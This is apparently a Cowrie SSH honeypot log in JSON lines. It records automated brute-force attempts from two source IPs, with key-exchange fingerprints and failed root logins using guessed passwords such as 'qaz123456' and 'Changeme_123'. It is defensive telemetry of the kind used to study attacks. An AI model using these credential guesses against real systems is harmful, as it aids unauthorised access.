{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:47.719257Z","src_ip":"60.165.124.241","session":"7eb8d9864cbb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qaz123456","message":"login attempt [root/qaz123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:48.461857Z","src_ip":"60.165.124.241","session":"7eb8d9864cbb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:49.710421Z","src_ip":"60.165.124.241","session":"7eb8d9864cbb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":52780,"dst_ip":"10.17.0.5","dst_port":22,"session":"500ec09d2d05","protocol":"ssh","message":"New connection: 60.165.124.241:52780 (10.17.0.5:22) [session: 500ec09d2d05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:49.939889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:49.945277Z","src_ip":"60.165.124.241","session":"500ec09d2d05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:50.184373Z","src_ip":"60.165.124.241","session":"500ec09d2d05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Changeme_123","message":"login attempt [root/Changeme_123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:50.907606Z","src_ip":"60.165.124.241","session":"500ec09d2d05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":44368,"dst_ip":"159.203.135.109","dst_port":22,"session":"60b7d2d1a1d9","protocol":"ssh","message":"New connection: 2.57.122.208:44368 (159.203.135.109:22) [session: 60b7d2d1a1d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:51.626473Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:51.728861Z","src_ip":"2.57.122.208","session":"60b7d2d1a1d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:51.835697Z","src_ip":"2.57.122.208","session":"60b7d2d1a1d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:52.149743Z","src_ip":"60.165.124.241","session":"500ec09d2d05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":55878,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed7107ed29ba","protocol":"ssh","message":"New connection: 60.165.124.241:55878 (10.17.0.5:22) [session: ed7107ed29ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:52.382749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:52.390176Z","src_ip":"60.165.124.241","session":"ed7107ed29ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:52.521801Z","src_ip":"2.57.122.208","session":"60b7d2d1a1d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:52.629744Z","src_ip":"60.165.124.241","session":"ed7107ed29ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdf1234","message":"login attempt [root/asdf1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:53.350724Z","src_ip":"60.165.124.241","session":"ed7107ed29ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:53.632937Z","src_ip":"2.57.122.208","session":"60b7d2d1a1d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:54.591061Z","src_ip":"60.165.124.241","session":"ed7107ed29ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":58724,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3b62e3dac8c","protocol":"ssh","message":"New connection: 60.165.124.241:58724 (10.17.0.5:22) [session: b3b62e3dac8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:54.822351Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:54.830080Z","src_ip":"60.165.124.241","session":"b3b62e3dac8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:55.070210Z","src_ip":"60.165.124.241","session":"b3b62e3dac8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz!QAZ1qaz","message":"login attempt [root/1qaz!QAZ1qaz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:55.787941Z","src_ip":"60.165.124.241","session":"b3b62e3dac8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:57.026770Z","src_ip":"60.165.124.241","session":"b3b62e3dac8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":33658,"dst_ip":"10.17.0.5","dst_port":22,"session":"b85562a3c942","protocol":"ssh","message":"New connection: 60.165.124.241:33658 (10.17.0.5:22) [session: b85562a3c942]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:57.262433Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:57.270756Z","src_ip":"60.165.124.241","session":"b85562a3c942","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:57.511612Z","src_ip":"60.165.124.241","session":"b85562a3c942","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Dt123456","message":"login attempt [root/Dt123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:58.231739Z","src_ip":"60.165.124.241","session":"b85562a3c942","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:59.472794Z","src_ip":"60.165.124.241","session":"b85562a3c942","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":36768,"dst_ip":"10.17.0.5","dst_port":22,"session":"01b3b2ed22a8","protocol":"ssh","message":"New connection: 60.165.124.241:36768 (10.17.0.5:22) [session: 01b3b2ed22a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:59.704213Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:59.709239Z","src_ip":"60.165.124.241","session":"01b3b2ed22a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:59.955960Z","src_ip":"60.165.124.241","session":"01b3b2ed22a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Lf7758258...","message":"login attempt [root/Lf7758258...] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:00.673189Z","src_ip":"60.165.124.241","session":"01b3b2ed22a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:01.928134Z","src_ip":"60.165.124.241","session":"01b3b2ed22a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":39538,"dst_ip":"10.17.0.5","dst_port":22,"session":"63b9b0ddcdf3","protocol":"ssh","message":"New connection: 60.165.124.241:39538 (10.17.0.5:22) [session: 63b9b0ddcdf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:02.168140Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:02.173927Z","src_ip":"60.165.124.241","session":"63b9b0ddcdf3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:02.424840Z","src_ip":"60.165.124.241","session":"63b9b0ddcdf3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123987","message":"login attempt [root/123987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:03.167755Z","src_ip":"60.165.124.241","session":"63b9b0ddcdf3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:04.418954Z","src_ip":"60.165.124.241","session":"63b9b0ddcdf3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":42562,"dst_ip":"10.17.0.5","dst_port":22,"session":"ccf25b1b0896","protocol":"ssh","message":"New connection: 60.165.124.241:42562 (10.17.0.5:22) [session: ccf25b1b0896]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:04.653389Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:04.659483Z","src_ip":"60.165.124.241","session":"ccf25b1b0896","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:05.587830Z","src_ip":"60.165.124.241","session":"ccf25b1b0896","protocol":"ssh"}
